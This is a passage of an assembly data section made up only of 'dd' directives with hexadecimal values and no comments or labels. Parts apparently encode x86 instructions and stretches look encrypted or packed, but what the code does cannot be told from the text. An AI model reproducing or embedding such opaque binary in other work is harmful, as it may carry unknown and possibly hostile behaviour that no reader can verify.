0D48B5200h, 33535156h dd 8728BDBh, 0E90C4A8Bh, 13h, 0F2D3CACh, 0A84h, 34980400h dd 0C1D83213h, 0B4908C3h, 0E5850FC9h, 8BFFFFFFh, 5E595BC3h dd 8C25Ah, 35C3858Dh, 85890647h, 6441C01h, 35EB858Dh, 85890647h dd 6442619h, 3613858Dh, 85890647h, 64431FDh, 0D3816060h dd 50D9207Ch, 61DAB70Fh, 0E0B2C08Bh, 20CDBD83h, 75000644h dd 25BD8309h, 6440Bh, 53501974h, 0EB8C08Bh, 89000004h dd 4402F585h, 4F9D8D06h, 0FF0646A8h, 83585BD3h, 440B25BDh dd 17740006h, 0EB85350h, 89000004h, 4402F585h, 3E9D8D06h dd 0FF0646A5h, 6A585BD3h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 4DF4C353h, 0BF0F5360h dd 0D6815AF3h, 32EEE43Ah, 10E961h, 7FBB0000h, 3A219484h dd 0CF063123h, 8F559498h, 5E96CD8h, 7E000000h, 79DBE17Ah dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 1E42FFC3h, 0A3DB8371h, 0BD83D316h, 6442381h dd 42840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0D575C356h, 0E900CCD7h dd 249h, 13E8h, 1D80F800h, 45E2C20Dh, 0A33CB076h, 4A4B0581h dd 8A6E6AFFh, 0B70F59F5h, 6ADF8CCBh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0BF7EC353h dd 66F5BD06h, 4C7F7h, 1FF850Fh, 0BE90000h, 0D8000000h dd 0B39153BDh, 718327EEh, 0FF2BDB4Eh, 0FA60F0BAh, 839D8D4Eh dd 8B064739h, 1C8950D1h, 51006A24h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 0D1A3FC0h, 0FF648AB6h dd 35h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 0A5338CB1h, 2DEE9953h, 5E821h, 3E9C0000h dd 0F3CEF56h, 28Eh, 59616000h, 258964h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 78EDC353h, 2E18317h, 8BF57239h, 14E8C4h, 0BB720000h dd 70562944h, 0B6F5A635h, 233E338Fh, 9BB7D5D5h, 6650689Fh dd 5A9D3BBAh, 0EB01CD59h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 4C389DA2h dd 0D1816657h, 0E95EC57Ch, 0Bh, 821518F8h, 747AC333h, 6A9A741Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 590EC353h, 1AE799BAh, 2850F25h, 0B6000000h dd 48B0FF0h, 66000000h, 6471E0BEh, 58Fh, 0F1B10000h, 6004C483h dd 0B61C38Bh, 0AA840FC0h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 9FD3C356h dd 8EC68110h, 801A621Eh, 80610DCEh, 816695E2h, 8D7C6AC6h dd 44733ABDh, 12E906h, 81400000h, 853D7404h, 5A21B460h dd 0CCC3EDF6h, 0F7ACA12Ch, 1B8h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0A6A4FDC0h dd 820Fh, 0E7FF0000h, 5C8B57F5h, 838B1024h, 0B8h, 140B60Fh dd 8389C8FEh, 0B0h, 0B88383h, 5F020000h, 0E9C3C033h, 9 dd 78291E2Ah, 719D4513h, 6A6140h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0C08BE7C3h, 0BD834EB1h dd 64420CDh, 83097500h, 440B25BDh, 19740006h, 0C08B5350h dd 40EB8h, 29858900h, 8D064422h, 46A8B69Dh, 5BD3FF06h dd 25BD8358h, 6440Bh, 53501774h, 40EB8h, 29858900h, 8D064422h dd 46A5579Dh, 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 54E26B01h, 0FD3BF0Fh dd 484h, 0A9BA6600h, 6AC08B0Bh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 0ED9BC357h, 0C28B9C56h dd 8EBh, 0 dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h dd 6442F11h, 69C2858Dh, 88B0647h, 1000888Bh, 0A8B0000h dd 0FC4A8B66h, 3A748D89h, 0BD830647h, 644217Dh, 0F840F00h dd 60000000h, 95FF006Ah, 6441C4Dh, 0FFC4E961h, 8966FFFFh dd 0CEC1FC72h, 72896610h, 4CD5202h, 7085895Ah, 8B06473Ah dd 473A74B5h, 10CEC106h, 2728966h, 3A74B58Bh, 89660647h dd 8B61FC72h, 473A7085h, 958DC306h, 64400B5h, 2F3D9589h dd 95890644h, 6441591h, 159185FFh, 85C60644h, 64402E9h dd 48D86853h, 0B5FFFCB1h, 6442D7Dh, 3A65858Dh, 0D0FF0644h dd 1C4D8589h, 858D0644h, 647336Ah, 30158589h, 51E90644h dd 60000000h, 2424748Bh, 8B3C7603h, 8B28247Ch, 0F8C281D6h dd 66000000h, 0F064E8Bh, 0F983C9B7h, 16840F00h, 3B000000h dd 8F0F0C7Ah, 15h, 8B28EA83h, 4A8B0C42h, 2BC12B14h, 247C89F8h dd 8C2611Ch, 28C28300h, 0CF850F49h, 0E9FFFFFFh, 0FFFFFFE9h dd 9FD3EBAh, 20EB00h, 7 dup(0) dd 0E9000000h, 58Dh, 581E9h, 3DA66800h, 4BE90647h, 68FFFD43h dd 6473E54h, 0FD4341E9h, 3FEF68FFh, 37E90647h, 68FFFD43h dd 6474045h, 0FD432DE9h, 9E3EA4FFh, 279D0937h, 0EC50B08Eh dd 56067B45h, 0FD67C1FFh, 4EAE7654h, 0FBC56CD8h, 4F71D88Ch dd 0FFC168D4h, 3377DE86h, 5911C857h, 0ECBAC2E9h, 76D34F5Eh dd 0EDCC550Fh, 0BCA55CCh, 8D493094h, 5FC72CF6h, 9481F4B6h dd 4Ch, 0EE711526h, 0C930942Bh, 6AF5BD9Ch, 0C93094ACh dd 0AC17852Dh, 0FA88A930h, 0DE3964E3h, 3A5E7FDEh, 7794A7A5h dd 0D64A74CFh, 3C582E66h, 0E993F8A3h, 0D1F0D1C2h, 0AA1A8BB5h dd 0F35A1233h, 0AD6CF397h, 1EC2E994h, 3AE3773Fh, 51000000h dd 309427EEh, 4CB48AC9h, 0F29ED890h, 25803DA4h, 75079EBFh dd 9FDE3F14h, 6E4F6EDAh, 897950Ah, 7756CF77h, 7B52D13h dd 5EF7BF9Eh, 209C043Ah, 39A698B9h, 733B1A83h, 69D34FC1h dd 32E694F0h, 5E11A2C2h, 0B77FE0A8h, 0BE493021h, 38069F45h dd 0AC8D14C8h, 29B03492h, 6AE24C37h, 4A166400h, 7ED7DA46h dd 0BD1F80BEh, 364D0524h, 29930FECh, 0FD2BC680h, 2A428586h dd 0A8C005E8h, 53CCA889h, 493187A4h, 4600425h, 3186E09Bh dd 0B564FB49h, 16493187h, 28604137h, 0AE168FB1h, 7BB14107h dd 0E2C35A0Ah, 8E38A7C3h, 5F4F75B6h, 0F183E77Eh, 0BB0BB72h dd 49D69E4Bh, 4F74FE8Eh, 44A9750Eh, 883919E0h, 9A15h, 8A157100h dd 4F7505CFh, 2391D9F8h, 990D9B37h, 0F16E0A2Bh, 0CF77CEC3h dd 0F470D6E8h, 5A4C0F90h, 5C7DC2E9h, 27436214h, 7D35AF19h dd 86197D19h, 0C2E959D3h, 4C0F90F4h, 7DC2E95Ah, 0B357D5Ch dd 2A4E2A9Ah, 0E95A06B5h, 0AEE6C7C2h, 18CC3907h, 0A81FB6BDh dd 0CB5FC67Bh, 2D7h, 68C17BE9h, 0DF76EE56h, 72DB81E1h dd 0C069D34Ch, 75DC88FEh, 0F96FCD57h, 69DCE24Bh, 0F56C52FBh dd 73D0EE47h, 781C58F1h, 0E95734E7h, 71C395C2h, 5D486715h dd 2DEEAEB6h, 299F165h, 4F430000h, 8B32CD3h, 0C1C93094h dd 0C758C1E0h, 0C9309410h, 30951D58h, 47D8BCC9h, 0C9309494h dd 0BCE5135h, 0BCC93094h, 6BF4BC9Dh, 0C93094AFh, 309440F7h dd 94AD68C9h, 40F7C930h, 0B1893094h, 82F09421h, 75D2852Ah dd 642CE6h, 7BE95A64h, 148BC3E2h, 0F76FDB3h, 0CE881130h dd 108FEB22h, 92E395Eh, 0A1BBE9Fh, 7EBDED49h, 22973E7h dd 0A91B0000h, 40A49A33h, 0AF132D84h, 259AA40Dh, 0C6201EB7h dd 8B95B71Eh, 248D3791h, 9039AB1Ah, 208933AEh, 963FA51Eh dd 7229B6D2h, 5BC2E956h, 0D64FBF0Dh, 21B1F76Eh, 0AA94F094h dd 5DC28A3Ah, 0CF77D033h, 43A93B2h, 0B789209Ch, 4E08914Bh dd 900F6BA2h, 0C9309486h, 50CF6647h, 0C93094A5h, 57337A16h dd 77CFAAC8h, 990F31CFh, 0AD93B22Bh, 34158C38h, 4F2B0A7Ch dd 0F9501471h, 61B55EC7h, 7920BF76h, 52C2E935h, 0DCF30173h dd 98FC6544h, 0CE863EA6h, 0E987B651h, 0AB1B25C2h, 0C981A039h dd 0CEAAE38Fh, 30C35751h, 0D3B796C9h, 0A8CC78EDh, 28B12B96h dd 8CE84109h, 0D99153B2h, 1C837EE7h, 0C9305E5Dh, 0E6950A6Eh dd 0E7C9305Dh, 5FC6E7C6h, 305E25C0h, 0B3FA96C9h, 0C27AE9D7h dd 6771EE8Ah, 0A6CF779Ah, 68DDE387h, 359EB9AFh, 0D2C71B3h dd 0BB299AA4h, 5ECC6422h, 0C5E47DE7h, 0D1F80E4h, 0DCC93058h dd 3CFB64FDh, 0BCC93051h, 8EF65BC7h, 9301F470h, 4D0C93F7h dd 7EC9305Dh, 5D19C05Fh, 93B2C930h, 298BDBh, 0D1EF0000h dd 4869F074h, 2B15B200h, 43B859BAh, 0F955724Ah, 480F90D8h dd 6BC93029h, 0FEE9900Fh, 0C3E2C92Fh, 181F8Bh, 15AD0000h dd 49700371h, 0F6329796h, 3021B269h, 723A1BC9h, 303B2AEDh dd 9B375FC9h, 0C7E97612h, 14CF77CFh, 0B93E4B66h, 78D1C701h dd 0E607AD8h, 0F88EC6E7h, 6A0640D9h, 0BED84723h, 0FC92D3Dh dd 9D6C8B2Eh, 1987DECh, 8E95h, 9A42A000h, 2B990D33h, 9844BC82h dd 2A920F31h, 994BBD83h, 120A1230h, 0A79930B4h, 132D8440h dd 9BA50CB0h, 5713BA2Ah, 54EDAC33h, 88DEC2E9h, 129B373Ah dd 0CFC7E976h, 2706CF77h, 0DD58F8BEh, 6DB026B9h, 2F11C92Dh dd 882D0CB8h, 7DEC0565h, 389E0A93h, 0A000000h, 0B38D2498h dd 6389153h, 0B58B229Ah, 739904Ch, 0A88A23A1h, 0BA2A9C80h dd 0ABA2D13h, 0B6269DA3h, 0C4211Fh, 1689EDA9h, 0C2E95463h dd 0E5803264h, 3, 4FFB4957h, 0C0FE67D5h, 4678E163h, 0C6F861DBh dd 427CE55Fh, 0C7F960E4h, 447AE361h, 0C6F861DBh, 457BE25Ah dd 0EDFA63E1h, 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 56240489h dd 0C681E689h, 4, 8704EE83h, 895C2434h, 8957240Ch, 4C781E7h dd 83000000h, 3C8704EFh, 3C895C24h, 0B8505224h, 750E58F6h dd 0E0C1D8F7h, 0C9DA2D08h, 0C2899B71h, 7BCDB958h, 0D1315072h dd 6642685Ah, 24890000h, 24048324h, 0EC815F04h, 4, 8F240C89h dd 3C8B0847h, 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h dd 592434FFh, 4C481h, 0E3E90000h, 0B5FFFD3Dh, 0C5E9FBFEh dd 0CD9657FDh, 0EAA3CF97h, 0A2B8E379h, 3064740h, 0EBC88BC5h dd 5E8E900h, 0DCE90000h, 68000005h, 6474239h, 0FD3DB5E9h dd 43A568FFh, 0ABE90647h, 68FFFD3Dh, 6474432h, 0FD3DA1E9h dd 450768FFh, 97E90647h, 68FFFD3Dh, 6474607h, 0FD3D8DE9h dd 0FE5EC4FFh, 47FD6957h, 0CC70D0EEh, 76E65B65h, 0DD87E1DFh dd 6ECE5674h, 0DBE54CF8h, 6F51F86Ch, 0DFE148F4h, 1357FE66h dd 5331E877h, 0CC9AC2E9h, 9427EE7Eh, 0CA71C930h, 0EAC93094h dd 0C930942Eh, 3094BF76h, 0B52C12C9h, 0F7BF9E07h, 3094AE68h dd 943FF6C9h, 20B04930h, 948C4FD0h, 1C3D4930h, 0AE2B593Dh dd 8A5320EAh, 0FED834B5h, 0C9E8C259h, 0C7AE581h, 5D4F7448h dd 0E36A187Ch, 6AE85984h, 0C954FB6h, 20440C2Dh, 9039A31Eh dd 108933AEh, 1773BA56h, 4A02BA29h, 79FFB12Eh, 3E4930h dd 0A40120A4h, 0FDEF02C1h, 566AFE67h, 76000004h, 0C7F9500Ch dd 724CE55Fh, 3907AE0Eh, 83BD14C8h, 3416BF25h, 0AE1670ECh dd 16CE3907h, 0BA2281BFh, 0CB82D13h, 1A85E1A5h, 0C2E9525Fh dd 158C3E68h, 420ABA2Bh, 0C45D077Ch, 30949D5Bh, 26602C9h dd 8817C53Ch, 0C93093D1h, 0E893DBFAh, 0F074D13Eh, 46FE6759h dd 0DF84E1DFh, 7524BB66h, 56C93094h, 0EE775677h, 35AA94F0h dd 773F1E87h, 0D035220Ch, 1B8BBD14h, 0D801F4B3h, 3BCh dd 6ED64F6Ah, 94AE68F7h, 0B4CFC930h, 0AC188D6Ah, 3BFE6105h dd 8CC93094h, 8D2F93ADh, 0BBC9ADC9h, 0D0751FA1h, 9E014954h dd 0C9304ADBh, 0EC71D2ECh, 7150C973h, 0C2BBC950h, 1A881481h dd 5AC3E2C3h, 16C55A3Eh, 0B7C92FC1h, 89A81C89h, 0D884FFC1h dd 3F671571h, 1759AF3Bh, 974DB886h, 9384E1DFh, 0AF5B4FD3h dd 0BB2A14C3h, 90B19009h, 96096D09h, 0C93085E3h, 0F86CDAE4h dd 29614061h, 0F057C56Fh, 0EDCCED74h, 0C772ED89h, 0C93086h dd 0FEC06921h, 0E064C085h, 23C58C1h, 99A73E9Eh, 0A997B62Eh dd 0F4CA823Ah, 0E57AD391h, 0C9308632h, 61F86CDBh, 0C8477705h dd 5429CA97h, 0ABD9A87Eh, 71EE862Ch, 527352CBh, 79B45C1Ah dd 0C5231Dh, 86A73EA6h, 6D1F3EA7h, 95E764EBh, 0FE9AD28Dh dd 74463B61h, 16B392CFh, 7BAB7E7Dh, 0EA8E1A83h, 0EA000002h dd 536DC478h, 0E6D871F3h, 556BC27Ah, 0E7D970ECh dd 486AC381h, 5A0A7CE0h, 0EA5ACDF3h, 56067D43h, 0E064C1FFh dd 0F6690D49h, 0C2E95143h, 4F60D284h, 0C9F76ED6h, 908FF75Ch dd 30944C0Fh, 7D5C7DC9h, 80E4C5E4h, 91054BF2h, 5CC72487h dd 1089C1E0h, 0A40DB72Eh, 2FD7BC3Bh, 786D1FC9h, 14A77282h dd 2EE9763Eh, 0D7C9304Bh, 0F26DF470h, 0C9304B43h, 883CA896h dd 0A3EA86C0h, 777A58C7h, 0D2F3CF74h, 0AB4D0677h, 37A33A7Bh dd 25Dh, 0FC55077Dh, 4BE262C2h, 6AF0D75h, 0BC15C738h, 9A02482h dd 0AD1B012Bh, 45A09E37h, 9908369Fh, 4FB48A23h, 1C783C95h dd 0E94FD883h, 15A7F1C2h, 0A6ED64Fh, 5911CB34h, 6BD6A4C0h dd 663C7940h, 3AAB95DDh, 4C01BED9h, 30C97F0Fh, 32C3B13Ch dd 3FA6878Bh, 47374521h, 9B67979Ch, 0B176C24h, 0B510B52Eh dd 89B7960Fh, 1C3DA418h, 42A2943Dh, 0F301F3F5h, 1C8h, 0A9671541h dd 1BDF9578h, 0A86FF0B8h, 51C93017h, 0DDE34AF2h, 0AC92F666h dd 59C08834h, 0D940FC67h, 299DA3C7h, 0A42085BBh, 2F541C3Dh dd 31AB1603h, 3636AE98h, 52FF01F4h, 4D000000h, 76129B37h dd 74B83BE9h, 7BE480CFh, 0C2EC70C0h, 16602809h, 0BD59237h dd 8A137BABh, 1881Eh, 62DA4800h, 0D391F5CBh, 60DC447Ah dd 0D28AF7C9h, 61E3457Bh, 0DA42EAC8h, 6F51F86Ch, 0DBE54CF8h dd 635DF468h, 0AFEB4202h, 4FA554CBh, 7026C2E9h, 0CE5135C2h dd 0C9309413h, 320C95B4h, 0AD0F72CFh, 9D341534h, 58C742A3h dd 0C93094A1h, 0AE1A2E2Eh, 0F98F7D60h, 7DE460C7h, 0C55C7D5Ch dd 0DA4F183h, 0C56CD033h, 43DA8AFBh, 0F35A0A7Dh, 75EC58CDh dd 0EB741054h, 0C9307030h, 1F21B899h, 0D69039A3h, 556BF23Bh dd 4DEF50EDh, 5BCBF5D4h, 0C8ACC8E9h, 3070A457h, 0AA5725C9h dd 0D9C53437h, 0FD136140h, 25F1010Fh, 3CA30A42h, 0C92FD879h dd 3B5FD67Ah, 740ADAA4h, 7E1A3BCFh, 0C960E440h, 0F908FF7h dd 0C2EC064Ch, 197D5C7Dh, 4901BB27h, 0C973EED0h, 4DF76E50h dd 0D976EAD4h, 4ED7F66Eh, 34B0142Ah, 82C48CADh, 0FDC3A7EEh dd 6342DB89h, 0DAD04F2Bh, 13C9300Dh, 0A6DA9732h, 0B72E7DEFh dd 8823h, 62DA4800h, 0D391F5CBh, 60DC447Ah, 0D28AF7C9h dd 61E3457Bh, 0DA42EAC8h, 6F51F86Ch, 0DBE54CF8h, 635DF468h dd 0AFEB4202h, 4EA554CBh, 7026C2E9h, 6ED64FC2h, 0E85CC9F7h dd 0A146F71h, 0A50CB82Dh, 0C784FFC1h, 5DC4E55Fh, 0A202347Ch dd 5301F4B3h, 18h, 9428EEE1h, 74D1C930h, 946F2AB5h, 7958C930h dd 0B65F158h, 0D7000000h, 309427EEh, 0F173D0C9h, 6A30EA58h dd 0CACh, 94F09400h, 3094500Bh, 105879C9h, 67D54FA2h, 0E163C0FEh dd 61DB4678h, 0E55FC6F8h, 60E4427Ch, 0E361C7F9h, 61DB447Ah dd 0E25AC6F8h, 63E1457Bh, 8951EDFAh, 4C181E1h, 83000000h dd 0FF5104E9h, 59042474h, 5C24048Fh, 723068h, 24348900h dd 399768h, 24148900h, 26D26851h, 81590599h, 0AFE905C1h dd 59CE8979h, 8102EEC1h, 154365CEh, 7EF68121h, 68399002h dd 3771h, 83242489h, 5A042404h, 89F58955h, 2C8B086Ah, 4C48324h dd 5A2434FFh, 4C481h, 34FF0000h, 0C4815E24h, 4, 0FD37EDE9h dd 0DB0183FFh, 69C60D59h, 0B8FB5228h, 64746B4h, 0D18BC503h dd 0D9E9h, 0BE1D2000h, 82C12C0Fh, 0B6CFDF2Fh, 5D54FDBEh dd 0ECA43636h, 5DD500BCh, 76D352C5h, 0FC94A4D6h, 0AEC44100h dd 77CB50C1h, 0ACAC3252h, 91B8009Ch, 0CD64F7F6h, 389382h dd 3C0000h, 400000h, 940000h, 50000h, 10000h, 0A280000h dd 20000h, 20h dup(0) dd 0AF1B0000h, 18E9690Ah, 68000020h, 6474A2Ah, 0FD36EDE9h dd 4B1A68FFh, 0E3E90647h, 68FFFD36h, 6474BEBh, 0FD36D9E9h dd 4CEF68FFh, 0CFE90647h, 68FFFD36h, 6474DBDh, 0FD36C5E9h dd 4E6F68FFh, 0BBE90647h, 68FFFD36h, 6474F24h, 0FD36B1E9h dd 4FC768FFh, 0A7E90647h, 68FFFD36h, 647536Fh, 0FD369DE9h dd 53F368FFh, 93E90647h, 68FFFD36h, 6475559h, 0FD3689E9h dd 587768FFh, 7FE90647h, 68FFFD36h, 6475BCAh, 0FD3675E9h dd 5F4968FFh, 6BE90647h, 68FFFD36h, 6476107h, 0FD3661E9h dd 617A68FFh, 57E90647h, 68FFFD36h, 64761D6h, 0FD364DE9h dd 623368FFh, 43E90647h, 68FFFD36h, 647636Eh, 0FD3639E9h dd 64FF68FFh, 2FE90647h, 68FFFD36h, 6476608h, 0FD3625E9h dd 9646BCFFh, 3FA5013Fh, 8438A896h, 0EAE132Dh, 0B52F99A7h dd 6F63E1Ch, 0B38D24A0h, 7399054h, 0B789209Ch, 7B3F964Eh dd 4BD9801Fh, 0A4F2C2E9h, 6ED64F16h, 0E85CC9F7h, 226B0741h dd 0B4EBD946h, 1470CF74h, 0EC73D08Bh, 9E3DFDC2h, 671CD95h dd 0F46F5170h, 0B8F0D148h, 0E976EFCEh, 0C2EBF42Eh, 0E449D5AEh dd 0FBB00F80h, 920FF381h, 2E39A0D7h, 700296D3h, 44C7BD9h dd 2954h, 9B37E600h, 53E97612h, 0BACF749Fh, 0DA9D029Bh dd 0DAC2EC88h, 0F72CCCBEh, 27E18CE4h, 250A146Fh, 0FBB003C1h dd 0D172h, 0D64FC000h, 5FC9F76Eh, 0E1427CE5h, 0A09EFA63h dd 38198044h, 2AD54E70h, 309406B5h, 8F4AD5C9h, 38C93094h dd 6F4E6F19h, 49F06F0Bh, 82C93094h, 0B7259DA3h, 51C956FFh dd 0B4C93098h, 23C954Fh, 234723A1h, 308FFDBCh, 0A7EFCEC9h dd 5DD8783Eh, 17C25D39h, 0B0C93090h, 22BDD991h, 0CF749368h dd 0A2279FA1h, 39188143h, 81A08118h, 4BC26E28h, 3654B02Fh dd 0A889C933h, 0D094F2CCh, 26E14779h, 2DE602B9h, 0CBEACBC9h dd 0ED98C36Eh, 490097Dh, 1D64h, 0F45DFF65h, 43EA5ACAh dd 0FE57057Dh, 54FD5FC0h, 0E148FC6Ah, 85E359C3h, 0DD4876DFh dd 91F0CE67h, 47BC822Bh, 1470349Dh, 0E949D08Bh, 1DAFF9C2h dd 0C74D94Fh, 0C9E8C950h, 7FE55E60h, 2B1564D6h, 0BF9E07BDh dd 9421B1F7h, 0EC58CEF0h, 0BD5FC0A4h, 0CCF749Fh, 6C2BB42Dh dd 6CC2EC89h, 4A740B17h, 0D1F069DBh, 0A837AF99h, 0C7FCFBB0h dd 4E000000h, 0F76ED64Fh, 0B168F793h, 1AC93094h, 3E9E053Bh dd 0F0CE86A7h, 28B72E96h, 0C93098B0h, 1074F055h, 9030EB74h dd 148BC930h, 0C9309065h, 10314766h, 56CFF158h, 0B52C90F1h dd 6A2CB594h, 0B42B4FC6h, 0CF7492F6h, 721637h, 3816F5F2h dd 76DF97F0h, 7115A030h, 246CD84Fh, 0D056DF40h, 0BB85C932h dd 0A7D1994Bh, 65DCE286h, 74F6EF7h, 79EB5D63h, 0CC78EED0h dd 0EDFADA69h, 7930A7Dh, 1C74h, 0E44DEF55h, 53FA6ADAh dd 0EE47F56Dh, 64CD6FD0h, 0D178EC5Ah, 0D53329F3h, 8DF8C66Fh dd 0E1407ED7h, 77ECD27Bh, 442064CDh, 0E94920DBh, 4DFFA9C2h dd 0C26BD94Fh, 5FC287FCh, 0DCB8DCFDh, 30949843h, 581031C9h dd 0D64F43F1h, 9405B42Bh, 0CC2C930h, 0DBFD30E8h, 66476610h dd 0FF64C1FFh, 0E15BC489h, 129FB2C0h, 0DF74A665h, 40A49AFEh dd 743C1D84h, 0EB686EDDh, 35AACE47h, 0CF73A66Bh, 9843DCB8h dd 31C2EBA1h, 0B6C76210h, 95AF4C2Dh, 0CA8AABDDh, 0A655CAAEh dd 27C2EC1Eh, 22D14E06h, 6B7F7A8Dh, 0B52A4EC7h, 14AAA97Fh dd 62069FBEh, 0E178E45Ch, 22CE88C0h, 0CA108FEBh, 312E699h dd 0B784622h, 55CEF059h, 39F34AEFh, 0A039C725h, 1BA334h dd 9E3EA400h, 279D0937h, 0EC50B08Eh, 56067B45h, 0FD67C1FFh dd 4EAE7654h, 0FBC56CD8h, 4F71D88Ch, 0FFC168D4h, 3377DE86h dd 4911C857h, 0ECBAC2E9h, 0FB67155Eh, 0B762FD2Dh, 10C92FD5h dd 21BF4331h, 0E1427C34h, 14BCFA63h, 5FC3FD99h, 530699FDh dd 74C93064h, 1D791D55h, 7B4E0B79h, 0D0995D80h, 30948C4Fh dd 521275C9h, 0BD9CEACBh, 0B0A46AF5h, 0C4E5CF74h, 431ED2A0h dd 1667D7A6h, 4109BB28h, 0D4515BE8h, 1B4AA23Ch, 7F27B5B2h dd 0AE8DCAB1h, 371637D7h, 0CC533753h, 0C2EBFE0Dh, 4FD68EF6h dd 4E6A186Eh, 448FC600h, 16714F6Eh, 0A779E6AEh, 0E6C93086h dd 0E41887C7h, 0D990E1DFh, 798FC39h, 7C374CDh, 76846C1Eh dd 7C61D17Ch, 0A3DCA0Eh, 0ACE4307Dh, 7A21BEDAh, 53073B73h dd 8CCA5372h, 52CDA9E4h, 0D7FAE08h, 3A046041h, 8CB21BC9h dd 928EFE17h, 0EFD16Eh, 0B8421h, 0E47DBA5Eh, 1A9F70h, 9A42A000h dd 2B990D33h, 9844BC82h, 2A920F31h, 994BBD83h, 120A1230h dd 0A79930B4h, 132D8440h, 9BA50CB0h, 5713BA2Ah, 47EDAC33h dd 88DEC2E9h, 6ED64F3Ah, 13D1340Ah, 7AE3AB8Ah, 7D19943Ch dd 749DB8E2h, 993011CFh, 9E32D12Ah, 8B0ECD52h, 9EBFC2ECh dd 7A44DBBFh, 0DBC9308Eh, 5BC282E5h, 13F5B7Ah, 32723AA2h dd 0D9413CADh, 9C19B965h, 0F2D67F8h, 407E32CCh, 42347CE0h dd 0C45D077Ch, 395DC4E5h, 0B15A7D4Bh, 80E1F96Dh, 0F3B5FDDCh dd 0D6B2D65Fh, 6ADB78E8h, 634263FAh, 0FF5DC4FAh, 0B30996DEh dd 8348836h, 8E17CD36h, 0B19054B0h, 0CAAE8FF9h, 0F908FF4h dd 2C87F24Ch, 0D47D5C7Dh, 6ECB79EAh, 0E14794FBh, 0D12CB821h dd 0F2000019h, 0BB852C90h, 0E30994Bh, 0BD832A92h, 0F319844h dd 0A0822B99h, 0A2228478h, 12D2350Bh, 0BE1E85BBh, 8BC2917h dd 1E81E5A1h, 0C2E9475Bh, 4F883A6Ch, 0B1F76ED6h, 0A71D8B21h dd 977DE286h, 0D6CF74C0h, 0E2C379E8h, 0B7112F4Bh, 1F6450Dh dd 0A7A4420h, 7DE2C35Ah, 0C2EC69BEh, 6BD1310Fh, 0AC44024Ah dd 0C49A0561h, 5C9306Bh, 26FB6424h, 57C67320h, 891672BBh dd 0D232244Bh, 0A3C7A382h, 29E47D3Ch, 276F4ECEh, 9858F8BEh dd 29E45407h, 755475CEh, 1E2C8E11h, 0A39DD46Eh, 39188143h dd 0E1427C18h, 8FF4CA63h, 0BCEB70D5h, 841D80ADh, 191F10h dd 1AC22000h, 0AB198DB3h, 18C43C02h, 0AA128FB1h, 19CB3D03h dd 928A92B0h, 2719B034h, 93AD04C0h, 1B258C30h, 0D7933AAAh dd 466D2CB3h, 85EC2E9h, 6ED64FBAh, 39AD93F7h, 0ED85C38Bh dd 515BC4A0h, 8ACF749Ch, 0A9351B4h, 3415632Bh, 2F242E9Dh dd 0A6E0A83h, 3FC6E978h, 3E765DC9h, 2FE2DFA1h, 0B3122CC9h dd 0C189A831h, 49D696B7h, 5CF8D64Fh, 8FEB22CEh, 0AC80E210h dd 0CC37093Bh, 30EB7410h, 9933A428h, 0A786F0B8h, 0B53AB1C3h dd 0A8F025F8h, 933F79E0h, 9BE17E1Ah, 0F239E815h, 1C89B7D3h dd 0C63F01A8h, 0A33AA201h, 6706A382h, 9DEE27B5h, 186A9004h dd 0F96B0000h, 70D4EA43h, 0FF635DF4h, 55CAF45Dh, 16704EE7h dd 0FB2507AEh, 943DA701h, 20893BAAh, 9039A31Eh, 268F35AEh dd 0E2990662h, 0EBC2E944h, 0D64F0FBDh, 21B1F76Eh, 2C6FF094h dd 9DCF77DCh, 79E6D8BCh, 0D1EF8BC3h, 0C659F074h, 0C2E94DA3h dd 51358014h, 0D74EF66Fh, 2917BEF6h, 0E7A108BCh, 0C2A6C24Bh dd 45DC88FCh, 88B32C64h, 41C93094h, 0CA3A0460h, 198DB31Ah dd 30E5E0F8h, 9C76A0B2h, 0E9493B03h, 0BD311970h, 0A0684FC1h dd 5D39A081h, 0D8410363h, 168FB1F9h, 1F7C0BAEh, 31A87DEFh dd 17C7A5h, 0A21A8800h, 13D1350Bh, 0A01C84BAh, 12CA3709h dd 0A12385BBh, 1A022A08h, 0AF9138ACh, 1B258C38h, 0A39D34A8h dd 6F2B8242h, 44E5940Bh, 0B0E6C2E9h, 129B3702h, 0DBB2E976h dd 3A1BCF77h, 0B9483A5Eh, 2DA96F6Eh, 0A3003E76h, 26CE8821h dd 53B58BEFh dd 22BDD991h, 0C2E92083h, 0A1B33644h, 3A22C981h, 223A104h dd 1152049Bh, 3942C2E9h, 2C9C08EDh, 8759FBADh, 3D000000h dd 0B920A403h, 85A42087h, 0D9448BBh, 37D6642Ch, 3C99099Fh dd 0A5841DC7h, 0C2231D84h, 9BBA9B02h, 0DEBADEBAh, 30949A41h dd 0C85733C9h, 0C9309411h, 0F2BA9BBAh, 3094B26Dh, 0AB3213C9h dd 0D094F1CFh, 53117749h, 0F2A53A72h, 0E2C93093h, 3CA88D99h dd 0F901F4AFh, 2Eh, 0EE71154Bh, 0C930942Bh, 6AF5BD9Ch dd 0C93094ACh, 6C08852Dh, 2D27A08h, 0F8A33Ch, 0F0D1C930h dd 0C1686A82h, 94041689h, 0E4C5CF74h, 9B37FF4Dh, 4377EB41h dd 0DAFB62E2h, 859E62A8h, 